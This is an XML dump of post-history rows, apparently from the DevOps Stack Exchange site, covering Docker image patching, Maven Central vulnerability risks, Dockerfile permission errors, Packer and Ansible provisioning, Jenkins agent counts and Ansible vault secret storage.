  <row Id="10838" PostHistoryTypeId="5" PostId="3456" RevisionGUID="927d185f-0dc9-47d2-a341-391582ddb115" CreationDate="2018-02-27T07:01:41.290" UserId="40" Comment="added 96 characters in body" Text="Docker and other container images have become important building blocks especially for software production pipelines. Unfortunately, several researchers (e.g. [BanyanOps][1]) have shown how vulnerable docker images can be , including those from the official distributors. I was researching into the possibilities for automatic patching of such vulnerable images when discovered. According to [this link][2], container patching is very sensitive and error-prone. Infact, there seems to be no solution as all the papers/reports about container image vulnerabilities do not proffer patching approaches. I will be grateful if someone has some opinions, options or even a possible solution.&#xD;&#xA;&#xD;&#xA;**Note**: I am interested in how patching is conducted with or without update notifications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://banyanops.com/blog/analyzing-docker-hub/&#xD;&#xA;  [2]: https://blogs.msdn.microsoft.com/stevelasker/2017/12/20/os-framework-patching-with-docker-containers-paradigm-shift/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostHistoryTypeId="2" PostId="3463" RevisionGUID="962d644f-0ecf-4112-9519-e9f290992298" CreationDate="2018-02-27T08:36:02.743" UserId="707" Text="AFAIK there are two official primary repositories for Maven packages (Java language):&#xD;&#xA;&#xD;&#xA; - search.maven.org offered by Sonatype Inc.&#xD;&#xA; - mvnrepository.com offered by a private person @frodriguez&#xD;&#xA;&#xD;&#xA;Now obviously it makes sense to have a complete archive for backward compatibility purposes. However already as mentioned back 2013 in the [interview][1] with Sonatype'S CEO, there are lots of downloads for components with known vulnerabilities. So many seem just to not care.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;So is backward compatibility of so much value here? Why not take some action to reduce risks? Of course there is the [OWASP dependency check plugin][3] but I think on long term it is possible to implement a deeper risk prevention strategy.&#xD;&#xA;&#xD;&#xA;Question: What could be a feasible way to motivate Maven and repository makers to establish some kind of early time warning, like for example reject download of vulnerable components *by default*? This would in my opinion save a lot of time and electrical power if not to expect every build on the planet to do the check if this can be done centrally effectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static1.1.sqspcdn.com/static/f/702523/22081811/1362352394057/201303-Jackson.pdf&#xD;&#xA;  [2]: https://i.stack.imgur.com/8sMlZ.png&#xD;&#xA;  [3]: https://jeremylong.github.io/DependencyCheck/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostHistoryTypeId="1" PostId="3463" RevisionGUID="962d644f-0ecf-4112-9519-e9f290992298" CreationDate="2018-02-27T08:36:02.743" UserId="707" Text="Maven central as seen from DevSecOps perspective" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostHistoryTypeId="3" PostId="3463" RevisionGUID="962d644f-0ecf-4112-9519-e9f290992298" CreationDate="2018-02-27T08:36:02.743" UserId="707" Text="&lt;culture&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10842" PostHistoryTypeId="6" PostId="3463" RevisionGUID="3ecf35ba-5cbb-44e9-9891-f1cb4266835a" CreationDate="2018-02-27T08:43:33.867" UserId="707" Comment="edited tags" Text="&lt;culture&gt;&lt;security&gt;&lt;java&gt;&lt;devsecops&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostHistoryTypeId="5" PostId="3463" RevisionGUID="3ecf35ba-5cbb-44e9-9891-f1cb4266835a" CreationDate="2018-02-27T08:43:33.867" UserId="707" Comment="edited tags" Text="AFAIK there are two official primary repositories for Maven packages (Java language):&#xD;&#xA;&#xD;&#xA; - search.maven.org offered by Sonatype Inc.&#xD;&#xA; - mvnrepository.com offered by a private person @frodriguez&#xD;&#xA;&#xD;&#xA;Now obviously it makes sense to have a complete archive for backward compatibility purposes. However already as mentioned back 2013 in the [interview][1] with Sonatype'S CEO, there are lots of downloads for components with known vulnerabilities. So many seem just to not care.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;So is backward compatibility of so much value here? Why not take some action to reduce risks? Of course there is the [OWASP dependency check plugin][3] but I think on long term it is possible to implement a deeper risk prevention strategy.&#xD;&#xA;&#xD;&#xA;Question: What could be a feasible way to motivate Maven and repository makers to establish some kind of early time warning, like for example **reject download of vulnerable components *by default***? This would in my opinion save a lot of time and electrical power if not to expect every build on the planet to do the check if this can be done centrally effectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static1.1.sqspcdn.com/static/f/702523/22081811/1362352394057/201303-Jackson.pdf&#xD;&#xA;  [2]: https://i.stack.imgur.com/8sMlZ.png&#xD;&#xA;  [3]: https://jeremylong.github.io/DependencyCheck/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10844" PostHistoryTypeId="4" PostId="3463" RevisionGUID="3ecf35ba-5cbb-44e9-9891-f1cb4266835a" CreationDate="2018-02-27T08:43:33.867" UserId="707" Comment="edited tags" Text="Maven central risks as seen from the DevSecOps perspective" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostHistoryTypeId="2" PostId="3464" RevisionGUID="fdce4157-b95e-4bf4-a15e-3152ddd2d501" CreationDate="2018-02-27T09:03:02.507" UserId="6694" Text="Gitlab seems to have a solution although the github webhook on MR should trigger an event in Jenkins. It does on travis. Configuring the Jenkins job seems to be well documented in the [gitlab][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/gitlab-plugin#configuring-access-to-gitlab" ContentLicense="CC BY-SA 3.0" />
  <row Id="10846" PostHistoryTypeId="2" PostId="3465" RevisionGUID="87f96f4c-4d73-4201-ac38-c6a966492d83" CreationDate="2018-02-27T11:47:21.550" UserId="707" Text="As this question is quite high-level, I give a high level answer.&#xD;&#xA;&#xD;&#xA;Technically, if there is an incident, you would normally enforce a shutdown of a running container and a replacement with a newer image with an implementation of the change request resulting from the incident.&#xD;&#xA;&#xD;&#xA;How much automation will be possible to get there, I think it really dependends on single cases or at best their classes.&#xD;&#xA;&#xD;&#xA;**Best is therefore I think to assess different scenarios, group them into classes and derive solution workflows. Once a problem catalogue and a required set of organization policies are there you will be able to sort out which tools can help to realize them and which automations grades are possible.**&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;* discovered system environment level vulnerabilities are normally patchable through operation system security upgrades. You could have batch job delivering daily updated base images.&#xD;&#xA;* application environment level changes like &quot;let's migrate from Java 8 to Java 9&quot; is an organizational decision which requires an organizational process&#xD;&#xA;* application code level vulnerabitites requiring updating to patched versions requires some ways of dependency management governance in your organization, tools for quality gates are available but without an organizational decision nothing will happen here.&#xD;&#xA;* default credentials in production - again where do they come from? This is very special case and possibly a design failure; not sure how solve this in an automated way.&#xD;&#xA;&#xD;&#xA;So I have to conclude that this question is more about culture than automation." ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostHistoryTypeId="6" PostId="3456" RevisionGUID="c58b6c34-e61d-48a2-8d7f-f2b9727758c3" CreationDate="2018-02-27T12:18:37.177" UserId="707" Comment="edited tags" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;culture&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10848" PostHistoryTypeId="2" PostId="3466" RevisionGUID="3a5b3986-a44b-431a-8406-6f449714ccfd" CreationDate="2018-02-27T12:46:51.127" UserId="6695" Text="There are ways to detect using Groovy if a build is say part of a multibranch/non master branch and then you can say on successful build output perform a workspace delete. &#xD;&#xA;&#xD;&#xA;How about adding more info around what you want to preserve?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10849" PostHistoryTypeId="5" PostId="8" RevisionGUID="dec0d8ac-c151-4f5d-8787-f39a87ab7a34" CreationDate="2018-02-27T13:24:48.537" UserId="3" Comment="More info from the comments." Text="I think you want [Amazon Snowball][1], it's a HD shipping service by Amazon to/from AWS.&#xD;&#xA;&#xD;&#xA;&gt; Snowball is a petabyte-scale data transport solution that uses secure appliances to transfer large amounts of data into and **out** of the AWS cloud. &#xD;&#xA;&#xD;&#xA;&gt;With Snowball, you don’t need to write any code or purchase any hardware to transfer your data. Simply create a job in the AWS Management Console and a Snowball appliance will be automatically shipped to you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/snowball/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10850" PostHistoryTypeId="5" PostId="3426" RevisionGUID="1b49b5ba-d608-4236-952c-b583bc99c5cf" CreationDate="2018-02-27T14:01:00.913" UserId="6649" Comment="added 112 characters in body" Text="I have been getting some unexpected failures with the execution of my Docker images when running on my Ubuntu 16.04.3 LTS machine. I'm using Docker version 18.02.0-ce (edge), installed from apt. I've narrowed down the problem enough to demonstrate it with this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM tomcat:8.5.24-jre8-alpine&#xD;&#xA;&#xD;&#xA;    RUN adduser -D test&#xD;&#xA;&#xD;&#xA;    RUN chown -R test &quot;$CATALINA_HOME&quot;&#xD;&#xA;&#xD;&#xA;    USER test&#xD;&#xA;&#xD;&#xA;    RUN ls &quot;$CATALINA_HOME&quot;/webapps&#xD;&#xA;&#xD;&#xA;When I attempt to build this, here's the result:&#xD;&#xA;&#xD;&#xA;    $ docker build -t test test/&#xD;&#xA;    Sending build context to Docker daemon  163.4MB&#xD;&#xA;    Step 1/5 : FROM tomcat:8.5.24-jre8-alpine&#xD;&#xA;     ---&gt; 134d23a9a14e&#xD;&#xA;    Step 2/5 : RUN adduser -D test&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; a6f70ba83b8d&#xD;&#xA;    Step 3/5 : RUN chown -R test &quot;$CATALINA_HOME&quot;&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 8a0fae3db0a8&#xD;&#xA;    Step 4/5 : USER test&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 45fdf333232b&#xD;&#xA;    Step 5/5 : RUN ls &quot;$CATALINA_HOME&quot;/webapps&#xD;&#xA;     ---&gt; Running in 48711dfb9569&#xD;&#xA;    ls: /usr/local/tomcat/webapps/ROOT: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/examples: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/docs: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/host-manager: Permission denied&#xD;&#xA;    ls: /usr/local/tomcat/webapps/manager: Permission denied&#xD;&#xA;    The command '/bin/sh -c ls &quot;$CATALINA_HOME&quot;/webapps' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;These &quot;Permission denied&quot; errors are very strange to me, since the `chown` command should have given ownership of the whole /usr/local/tomcat folder, including the subfolders.&#xD;&#xA;&#xD;&#xA;I have tried this same scenario with many different versions of Docker on my Ubuntu host, all with the same result. However, when I tried building this image on my Mac OS machine, it worked fine.&#xD;&#xA;&#xD;&#xA;One slight variation that I have found which works around the problem is to give the &quot;test&quot; user access to the &quot;root&quot; group, like so:&#xD;&#xA;&#xD;&#xA;    RUN adduser -D test -G root&#xD;&#xA;&#xD;&#xA;With this simple change, the Dockerfile builds. So it seems obvious to me that somehow group membership permissions are involved, but I can't imagine why that would matter since the user is the owner. Also I can't imagine why building on Linux is different than building on Mac OS.&#xD;&#xA;&#xD;&#xA;- edit -&#xD;&#xA;This seems to be the same issue described here: https://github.com/docker-library/tomcat/issues/35" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostHistoryTypeId="2" PostId="3467" RevisionGUID="be0bb098-34eb-4deb-8292-1bccc1062393" CreationDate="2018-02-27T14:25:46.173" UserId="6356" Text="It looks like everybody here assumes an IAC tool always run as expected, but I can tell you this is not always the case, otherwise unit test would actually be useless.&#xD;&#xA;&#xD;&#xA;I remember a picture saying &quot;Ansible playbook ran, everything is fine&quot; with a building burning in the background ...&#xD;&#xA;&#xD;&#xA;Running a declarative state and having the server in this actual declared state are 2 different thing. &#xD;&#xA;&#xD;&#xA;A broad and heterogeneous environment, spread across multiple DC, reachable through public network etc... There are multiple reason for which a state could not be applied, either fully or partially.&#xD;&#xA;&#xD;&#xA;For all these reasons, there is a need for unit test allowing one to get a snapshot of the actual server state, which, again, might differ from the aimed state.&#xD;&#xA;&#xD;&#xA;So I'd say yes, unit test are useful even in a IAC managed environment. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10852" PostHistoryTypeId="2" PostId="3468" RevisionGUID="c1531dd4-9c95-4b46-9f91-58d784928e08" CreationDate="2018-02-27T14:43:42.803" UserId="4252" Text="First, DevOps is a journey, not a destination.  Not every organization approaches similar problems with the same solution; while automation is a component of a DevOps platform, it's not the single defining characteristic.&#xD;&#xA;&#xD;&#xA;The role and responsibilities of QA professionals haven't really changed; they're still responsible for validating that code is ready for release.  What HAS changed is the focus on both automation and smaller releases.  Much like operational roles, QA staff should now have the opportunity to focus on adding [additional automatic quality checks][1] into the development life cycle.&#xD;&#xA;&#xD;&#xA;In a shop with a mature CI/CD pipeline, QA becomes more about designing great tests, and letting the software do the actual heavy lifting. As [Tensibai][2] commented above, &quot;some QA tests can't be automated&quot; (yet), so there will still need to be some engineering responsibilities, but the goal should be to utilize automation in every aspect of delivery in order to facilitate adding additional quality.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.softwaretestinghelp.com/types-of-software-testing/&#xD;&#xA;  [2]: https://devops.stackexchange.com/users/13/tensibai" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostHistoryTypeId="4" PostId="3463" RevisionGUID="453063cb-82b3-4135-953d-6256d135661f" CreationDate="2018-02-27T15:03:29.063" UserId="707" Comment="edited title" Text="Mitigating Maven Central risks as seen from the DevSecOps perspective" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostHistoryTypeId="5" PostId="3418" RevisionGUID="f8c3b227-3be1-445d-8dc7-0aef67402a97" CreationDate="2018-02-27T15:58:10.810" UserId="2494" Comment="added 194 characters in body" Text="I have a Packer template to start with a Docker container and provision it.  The shell script provisioners seem to be working, but, while the playbook runs and seems to succeed, unlike the shell provisioners, it seems to not be applying to the Docker container.&#xD;&#xA;&#xD;&#xA;packer-template.json&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;    			&quot;image&quot;: &quot;chenjr0719/ubuntu-unity-novnc&quot;,&#xD;&#xA;    			&quot;commit&quot;: &quot;true&quot;&#xD;&#xA;    		}&#xD;&#xA;    	],&#xD;&#xA;       &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&quot;sudo apt-get update&quot;]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;setup_ansible.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;add_ansible_roles.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;ansible&quot;,&#xD;&#xA;    			&quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;       ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;setup_ansible.sh&#xD;&#xA;&#xD;&#xA;    sudo apt-get install software-properties-common -y&#xD;&#xA;    sudo apt-add-repository ppa:ansible/ansible -y&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install ansible -y&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;add_ansible_roles.sh&#xD;&#xA;&#xD;&#xA;    sudo ansible-galaxy install djx339.k8s-kubeadm-master&#xD;&#xA;&#xD;&#xA;kubeadm.yml&#xD;&#xA;&#xD;&#xA;    - name: install kubeadm&#xD;&#xA;      hosts: localhost&#xD;&#xA;      roles:&#xD;&#xA;        - { role: djx339.k8s-kubeadm-install }&#xD;&#xA;&#xD;&#xA;Output from the playbook&#xD;&#xA;&#xD;&#xA;    docker: PLAY [install kubeadm] *********************************************************&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [Gathering Facts] *********************************************************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : include_tasks] ******************************&#xD;&#xA;    docker: included: /home/dw/.ansible/roles/djx339.k8s-kubeadm-install/tasks/setup-Debian.yml for localhost&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Sysctl] *************************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item={u'name': u'net.bridge.bridge-nf-call-iptables', u'value': 1})&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kuebeadm apt key] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kubeadm apt repo] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Install kubeadm] ****************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item=[u'kubelet', u'kubeadm', u'kubectl', u'kubernetes-cni'])&#xD;&#xA;    docker:&#xD;&#xA;    docker: PLAY RECAP *********************************************************************&#xD;&#xA;    docker: localhost                  : ok=6    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;Running `kubeadm` in the docker container throws an error.&#xD;&#xA;&#xD;&#xA;Why isn't the playbook applying? It works when I run it locally.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: just noticed the mismatch between the role I'm adding in the add_ansible_roles.sh script and the playbook." ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostHistoryTypeId="2" PostId="3469" RevisionGUID="9c373580-ff08-44a9-838f-8b097be70518" CreationDate="2018-02-27T16:33:17.773" UserId="736" Text="Is there an easy way to get a count of how many agents are currently up? I know I can go to `www.myjenkins.com/computer/` to see the agents, but counting them manually is tedious. &#xD;&#xA;&#xD;&#xA;Is there an API call or something I can run in the script console that just outputs the count for me?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10856" PostHistoryTypeId="1" PostId="3469" RevisionGUID="9c373580-ff08-44a9-838f-8b097be70518" CreationDate="2018-02-27T16:33:17.773" UserId="736" Text="Count of currently active jenkins agents" ContentLicense="CC BY-SA 3.0" />
  <row Id="10857" PostHistoryTypeId="3" PostId="3469" RevisionGUID="9c373580-ff08-44a9-838f-8b097be70518" CreationDate="2018-02-27T16:33:17.773" UserId="736" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10858" PostHistoryTypeId="5" PostId="510" RevisionGUID="9f692b9c-31c6-4d78-90d4-e9788a7fb008" CreationDate="2018-02-27T17:03:02.203" UserId="47" Comment="improved readability" Text="Sounds like you're talking about a test environment which is constantly re-used without being **reliably** re-initialized for every test execution. This makes such test an unreliable one. Similar, from the reliability perspective, with manual testing, if you want.&#xD;&#xA;&#xD;&#xA;IMHO you shouldn't be using such testing *inside* your CI/CD qualification purposes as that will effectively invalidate your qualification process (at least in that area). Saying that the software passes test X without actually executing test X for every software version delivered or without having the certainty that the `pass` result obtained is not accidental (due to false positives) will erode your testing's confidence level. False negatives are not credibility damaging, but they are also undesired because of the unnecessary &quot;noise&quot; they create.&#xD;&#xA;&#xD;&#xA;It's fine to execute such testing *outside* your CI/CD qualification process. But you'd be treating a failed result in such testing just like a customer-found bug: you'd need to reliably reproduce the issue to be able to develop a fix for it and confirm that the fix is working. And you can't really do that if the testing is not reliable.&#xD;&#xA;&#xD;&#xA;If you plan to address the issue then ideally you'd first develop an automated, reliable test case for reproducing the issue. Which you'd use to develop a fix and confirm its effectiveness (test result should transition from FAIL to PASS). You can (should?) also place this testcase inside your CI/CD qualification process to prevent future re-occurence, if desired - to increase your overall software release quality level.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10859" PostHistoryTypeId="2" PostId="3470" RevisionGUID="63bb0260-9d01-4dc0-88b4-4218016f9924" CreationDate="2018-02-27T17:52:59.913" UserId="6702" Text="You can sufix `computer/` with `api/json` and run some script on this response. Count the computers array or group by some one of his attributes, like `idle` or `offline`.&#xD;&#xA;&#xD;&#xA;`https://www.myjenkins.com/computer/api/json`&#xD;&#xA;&#xD;&#xA;[![Json Sample][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/wf6Cg.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10860" PostHistoryTypeId="5" PostId="3418" RevisionGUID="9771b29e-e2d2-41d3-b9e4-0f4758cfe67d" CreationDate="2018-02-27T19:28:44.403" UserId="3" Comment="Clarifies from the comments." Text="I have a Packer template to start with a Docker container and provision it.  The shell script provisioners seem to be working, but, while the playbook runs and seems to succeed, unlike the shell provisioners, it seems to not be applying to the Docker container.&#xD;&#xA;&#xD;&#xA;packer-template.json&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;    			&quot;image&quot;: &quot;chenjr0719/ubuntu-unity-novnc&quot;,&#xD;&#xA;    			&quot;commit&quot;: &quot;true&quot;&#xD;&#xA;    		}&#xD;&#xA;    	],&#xD;&#xA;       &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&quot;sudo apt-get update&quot;]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;setup_ansible.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;    			&quot;script&quot;: &quot;add_ansible_roles.sh&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;ansible&quot;,&#xD;&#xA;    			&quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;       ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;setup_ansible.sh&#xD;&#xA;&#xD;&#xA;    sudo apt-get install software-properties-common -y&#xD;&#xA;    sudo apt-add-repository ppa:ansible/ansible -y&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install ansible -y&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;add_ansible_roles.sh&#xD;&#xA;&#xD;&#xA;    sudo ansible-galaxy install djx339.k8s-kubeadm-master&#xD;&#xA;&#xD;&#xA;kubeadm.yml&#xD;&#xA;&#xD;&#xA;    - name: install kubeadm&#xD;&#xA;      hosts: localhost&#xD;&#xA;      roles:&#xD;&#xA;        - { role: djx339.k8s-kubeadm-install }&#xD;&#xA;&#xD;&#xA;Output from the playbook&#xD;&#xA;&#xD;&#xA;    docker: PLAY [install kubeadm] *********************************************************&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [Gathering Facts] *********************************************************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : include_tasks] ******************************&#xD;&#xA;    docker: included: /home/dw/.ansible/roles/djx339.k8s-kubeadm-install/tasks/setup-Debian.yml for localhost&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Sysctl] *************************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item={u'name': u'net.bridge.bridge-nf-call-iptables', u'value': 1})&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kuebeadm apt key] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Add kubeadm apt repo] ***********************&#xD;&#xA;    docker: ok: [localhost]&#xD;&#xA;    docker:&#xD;&#xA;    docker: TASK [djx339.k8s-kubeadm-install : Install kubeadm] ****************************&#xD;&#xA;    docker: ok: [localhost] =&gt; (item=[u'kubelet', u'kubeadm', u'kubectl', u'kubernetes-cni'])&#xD;&#xA;    docker:&#xD;&#xA;    docker: PLAY RECAP *********************************************************************&#xD;&#xA;    docker: localhost                  : ok=6    changed=0    unreachable=0    failed=0&#xD;&#xA;&#xD;&#xA;Running `kubeadm` in the docker container throws an error.&#xD;&#xA;&#xD;&#xA;Why isn't the playbook applying? It works when I run it locally.&#xD;&#xA;&#xD;&#xA;The error which I'm getting is:&#xD;&#xA;&#xD;&#xA;&gt; kubeadm not found&#xD;&#xA;&#xD;&#xA;So basically it's not installing `kubeadm`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: just noticed the mismatch between the role I'm adding in the `add_ansible_roles.sh` script and the playbook." ContentLicense="CC BY-SA 3.0" />
  <row Id="10861" PostHistoryTypeId="5" PostId="3455" RevisionGUID="68119038-f4b4-42c0-8c62-4d7613027f99" CreationDate="2018-02-27T19:30:07.190" UserId="3" Comment="Improves post linking." Text="As documented [here][1], ansible does not support telnet as connection plugin. This means you cannot use ansible to connect to a remote machine via telnet and execute any of the ansible modules.&#xD;&#xA;&#xD;&#xA;However, you can use `connection: local` for local connection(run ansible against the machine that is running it) and send [`telnet` commands][2] from the machine where ansible runs.&#xD;&#xA;&#xD;&#xA;Example playbook will look something like that:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: false&#xD;&#xA;      &#xD;&#xA;      tasks:&#xD;&#xA;        - name: my first telnet task&#xD;&#xA;          telnet:&#xD;&#xA;            username: user&#xD;&#xA;            password: pass&#xD;&#xA;            command:&#xD;&#xA;              - my command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/devel/plugins/connection.html&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/2.4/telnet_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10865" PostHistoryTypeId="2" PostId="3472" RevisionGUID="e60d6a9e-38a9-491e-8740-5f75858d5dc8" CreationDate="2018-02-27T21:55:06.840" UserId="5922" Text="&gt; The idea is to put all our sensitive data [...]&#xD;&#xA;&#xD;&#xA;The meaning of &quot;all&quot; in this sentence should be analyzed very carefully before implementing the solution that you plan.&#xD;&#xA;&#xD;&#xA;Ansible vault is a very useful tool, but it should be used only to store secrets that are:&#xD;&#xA;&#xD;&#xA; 1. Specifically needed for the ansible deployments&#xD;&#xA; 2. Easily made useless to owners that should become unaware of them, but that may illegitimately &quot;remember&quot; them (typically off-boarded employees)&#xD;&#xA;&#xD;&#xA;The second point is critical.&#xD;&#xA;&#xD;&#xA;Many people, and potentially the whole DevOps team, will have access to the ansible vault password and therefore all the secrets.&#xD;&#xA;&#xD;&#xA;Therefore, for all the secrets stored in the vault, a condition should hold for which a person or machine with **unauthorized** access to them should be incapable of making any use of them if so is desired.&#xD;&#xA;&#xD;&#xA;In concrete terms, if you use ansible to deploy a database and its users, you can store the passwords in the vault, but you will have to be very careful (and most likely consider another solution) if that service will be available from the Internet and without the need for any VPN authentication!&#xD;&#xA;&#xD;&#xA;Users (DevOps) exposed to the secret, should be incapable of using &quot;remembered&quot; passwords if one security barrier is imposed on them (e.g., VPN access revoked). In addition to this, access to the source code repository (where the vault is stored) should be revoked as well before passwords are changed.&#xD;&#xA;&#xD;&#xA;Under these conditions, ansible vault is a very useful tool.&#xD;&#xA;&#xD;&#xA;Trying to store a secret that could be used by any person or machine on the Internet in the vault would be instead a mistake (e.g., VPN credentials of users).&#xD;&#xA;&#xD;&#xA;&gt; Is there any other options, which is the best (and secure) way to store ansible-vault password&#xD;&#xA;&#xD;&#xA;Under the conditions from the previous paragraph, I think that a good practice would be:&#xD;&#xA;&#xD;&#xA; 1. Store the vault password in an external secure vault (something like [Vault from HashiCorp][1] or any SaaS for credentials management)&#xD;&#xA; 2. Allow access to the external vault item to DevOps (they will need the password for testing) and the CI/CD system or ansible controller&#xD;&#xA; 3. Keep a **convention to use secrets**! You will not be able to review changes to the secrets and you will not be able to grep for ansible variables in secrets files! So be thorough since the beginning. A good convention is to name all variables stored in the ansible vault with a `secret_` prefix. When you will see something like:&#xD;&#xA;&#xD;&#xA;    postgres.yml:&#xD;&#xA;&#xD;&#xA;        postgres_password: secret_postgres_password&#xD;&#xA;&#xD;&#xA;  you will know that the value is stored in the ansible vault.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostHistoryTypeId="2" PostId="3473" RevisionGUID="47543b40-7c23-46d4-b2bf-d3a547c24949" CreationDate="2018-02-27T22:08:15.477" UserId="5922" Text="If you are filling up your docker entrypoint with `sed` commands, consider this practice:&#xD;&#xA;&#xD;&#xA; - Use a tool such as [confd][1] to manage your docker images configuration files and keep them updated&#xD;&#xA;&#xD;&#xA;[Confd][1] will read data from many supported key-value stores and render configuration templates dynamically.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kelseyhightower/confd" ContentLicense="CC BY-SA 3.0" />
